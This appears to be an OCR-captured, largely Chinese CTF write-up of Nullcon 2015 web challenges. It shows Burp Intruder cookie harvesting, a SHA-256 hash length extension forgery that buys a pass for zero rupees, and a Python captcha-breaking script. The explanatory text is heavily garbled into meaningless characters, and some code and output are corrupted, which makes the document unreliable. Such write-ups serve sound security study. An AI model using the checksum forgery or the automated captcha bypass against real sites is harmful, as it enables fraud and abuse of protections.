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‘ [\ 54.165.191.231/ToErrisHuman.php
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Not Found

The requested URL was not found on this server.

Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.

Error Code: Vs
Time: 2015-01-09 18:58:51

FrburpEfEFrequest / responseBEE FBTANERERIES. WNERR , REAEEEEEMISE T RRAZIIPHPSESSID,

Raw | Headers | Hex HTMLTRemder]

HTTR/1.1 200 OK

Date: Fri, 09 Jan 2015 13:14:15 GMT

Server: Apache/2.4.7 (Ubuntu)

X-Powered-By: PHP/5.5.9-lubuntud.5

Set-Cookie: PHPSESSID=chvvgefgnergs8223a5ftimd3g4; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Set-Cookie: PHPSESSID=8mSadesgS3vonbhzlabmmgos90; path=/
Vary: Accept-Encoding

Content-Length: 542

Keep-Alive: timeout=S, max=100

Connection: Keep-Alive

Content-Type: text/html

SNERBATEPHPSESSIDSEEE—NRIBREEARE ? ZRSEAPARR | (ZX/EBAIINERE "Error Code” HHEE,
FRFPHPSESSID—EHEAE , & XREAI5E—1PHPSESSIDIEN F—XiERAIPHPSESSIDZESSR, , burpftintrudera] LASTH,
Results | Target | Positions T Payloads T Options ]

[EJ Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which

Attack type: | Sniper

GET /ToErrisHuman.php HTTR/1.1

Host: 54.165.191.231

User-Agent: Mozilla/5.0 (X11; Linux 1686; rv:24.0) Gecko/20140723 Firefox/24.0 Iceweasel/24.7.0
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,%/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://ctf.nullcon.net/challenge.php?c=0801

Cookie: PHPSESSID=§cbvvgefgnerg8223asftjmd3g4as

Connection: keep-alive

Cache-Control: max-age=0
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[ Results T Target T Positions T Payloads TOptions ]

Match type: @ Simple string
() Regex

] case sensitive match
] Exclude HTTP headers

Grep - Extract

These settings can be used to extract useful information from responses into the attack results table.

© &

[¥] Extract the following items from responses:

Add From [ PHPSESSID=]to [; path=]

From [ Code:] to [<hbr /=]
Edit
Remove
Duplicate »

Up

Cown

| Clear |

Maximurn capture length: | 100

(@) Pavioad Options [Recursive grep]
This payload type lets you extract sach payload from the respansa to the pravious raquest in the attack. It is usefulin some situations whera you need to work recursively to extract useful data or deliver an exploit. Extract grep items can be dsfined in the Options tab

Select the "extract grep* item from which to derive payloads

From [ PHPSESSID=] to [; path=]
From [ Code:]to [<br />]

nital payload for first request:

(0 stop i duplicate payload found

AttackJ i , FADLRERIETor CodeFHAES 7 , TEFIT i EIFRI—iS,

JREsults Target | Positions T Payloads T Optiens }
Filter: Showing all items
Request 4| Payload | status |Error | Timeout | Length | PHPSESSID= | code: | Comment
200 8] (BT kfBu3keps6packvedf.. Tn baseline request
1 200 O O 948 alpigkg6fggesvrrftau... Tn
2 alpigkg6fggesvrftaugm76cl 200 O O 948 ribinfhjujoahmphelcg... vs
3 ribinfhjujoahmphelcgnsrigs 200 (0] (0] 948 ovcijgmook7fika7dofs... bG
4 oveijemook7fika7dofsognrpo 200 O (] 948 origatacjjigbahrivasj.. Nv
5 ori64tacjjigb4hrl7aejokb76 200 ] ] 948 69jrolukbm4bd2bgb... bk
[ 69jrolukbmabd2bgbgh&3o.. 200 O O 948 neh2golke8aiofif7qu... dv
7 neh2golkcBaiofif7quaizcb8l 200 (@] (@] 948 Iko1nosokkpks4aolnb... YT
lko1nosokkpks4aoinb3fius66 200 (0] (0] 948 6bo8mgsmpprhgo3s.. Iw
9 6b08masmpprh9o39re7g6j.. 200 ] O 948 ttonobib8ugickeqd9g... MT
10 ttonobibBugiokeqd99743btos 200 o] O o8 s7mjreq71hizjdunsk... VA
11 s7mijreq7 1hlI2jduwwekk7dobla 200 O O 948 oivOoeaerublnh6gcltj.. o
12 oivDoeaerublnh6qcltjg67ae2 200 (] (] 948 jigmtnSoids2qqgi231..  WC
13 jigmtnseids2qqgiz311dss6ds 200 (0] (0] 948 log425nveujoop628d.. MD
14 106425nveujoop628d392pp.. 200 ] ] 948 9son83704djgde706k.. Ax
15 9son83704djgde706kr7k2re... 200 o O 48 324v7947s23b760sq...  MT
18 324v7947523b760sq7bj7lrs... 200 O O 948 tha1n8823c2t6vudd7... Aw
17 th41n8823c2t6vuda7o5upk... 200 (0] (0] 948 9jlbfsadpdfgsnngjavf...  Tn
18 9jlbfsaapdfsenngjavfsslkn7 200 O (] 948 1p7mlkric89eesicerta.. Vs

REIRA—B=AT | (BEE~Gbase6E | i—T.

root@kali:~ # echo TnVsbGNvbkdvYTIWMTVAVOVCMDAXMTAw | base64 -d
NullconGoa2015@WEB001100

Fiblflagflag{NullconGoa2015@WEB001100}
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“Find the keys to your home" F1—gllloop.phpAiasHEzE
imaiEEE , EEE—MormkE , M —MNEFIER.

ERHAENER<!-- A place to loo[k]:back. -->
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loo[k]::backBr&ipveHE, , ipveAEREREC (loopback ) &:1, or 0:0:0:0:0:0:0:1 , Xt ETRIfag.
B, EANMEE—BwebiT , {(EFFRECREIXARRRY.
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Buy Nullcon Corporate Pass in ZERO rupee.

Id:  [Nullcon2015
h?pE|C0qxnmr
Price: (10999

Buy

REEbuyZ ESERIIERS |, IS

< form action = checkout .php method
< input type = hidden name = msg value = "Nullcon2015%7Ccorporate%7C10999" >< br >
< input type = hidden name checksum value =
"568fe78b29ac377a58aelfbf02b4d1al158e605b3897916227e4b3ecfc78973db" >< br >
< input type = submit value = Buy >
</ form >

POST >

BRPAZLAORYNTSIESE |, Tl TE Cpricesfiak0 , (ERRA TREEIHEN , E/achecksumf 71555,
EENERT , A3 NEAGERE

<l--
if( $checksum === hash("sha256",$secretkey . $msg)) // secretkey is XXXXXXXXXXXXXXXXXXX :-P

// Success; :)

?>
-->

X:Elength extension Iz , A4 RKlEMessagefIMAC , REEmEAlEkeyIN<E , REAFNEkeytNE , tHEEEmessage/FEIMNER
FATEHERMAC,

{FERBhashpumpIERi—1i checksum
token: Nullcon2015|corporate|10999%80%600%600%00%00%00%00%00%600%00%00%00%00%00%600%:00%01p|0
checksum: a2319d6945201a4b9fd67f077248faff2b735297cca2ac10762af65b2c2dcad8

1Bz RiSkey
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HTTP/1.1 200 OK
Date: Fri, 09 Jan 2015 21:08:38 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.5
Vary: Accept-Encoding
Content-Length: 114
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
< hl1 > Checkout </ hil

>Congratualtion You bought Nullcon Pass in ZERO rupee. See you at Nullcon!Flag is fl@g_*2015}

Web500
ME—KEABE AR "Break the Captcha”

1IAITE]

How many times can you break this captcha? Your time starts now...

Enter Code:| || submit

Note: Your session will be expired in 120 Seconds.

Score :0

R | BRI
TEEHKA%exp

#!/usr/bin/python

__author__ = "@_SaxX_"

import os, requests, commands, re
s = requests.session()

url = "http://54.165.191.231/"
s.get(url + "“captcha.php" )
while True :

).content )

open ( 'captcha.png' , ‘'wb' ).write( s.get(url + "imagedemo.php"
os.system( 'convert captcha.png -compress none -threshold 16% img.png' )

captcha = commands.getoutput( "gocr -i img.png" ).strip()
response = s.post(url + “verify.php" , { 'solution' : captcha}l).text
flag = re.findall( 'Score :(.*)' , response)[ 0 ].rstrip()

if not str (flag).isdigit():
print "[+] Flag: %s" % flag
break
print "[%s] Sending Captcha=%s ... " % (flag, captcha)

360222481 (bo

; Captcha=FWEXwWQ ...
Captcha=eBrRFx ...
ndlnq Captch fULpPC Soc
nding Captcha=

nding Captcha=EAd

nding Captcha=fZ

nding 3 ofw ..
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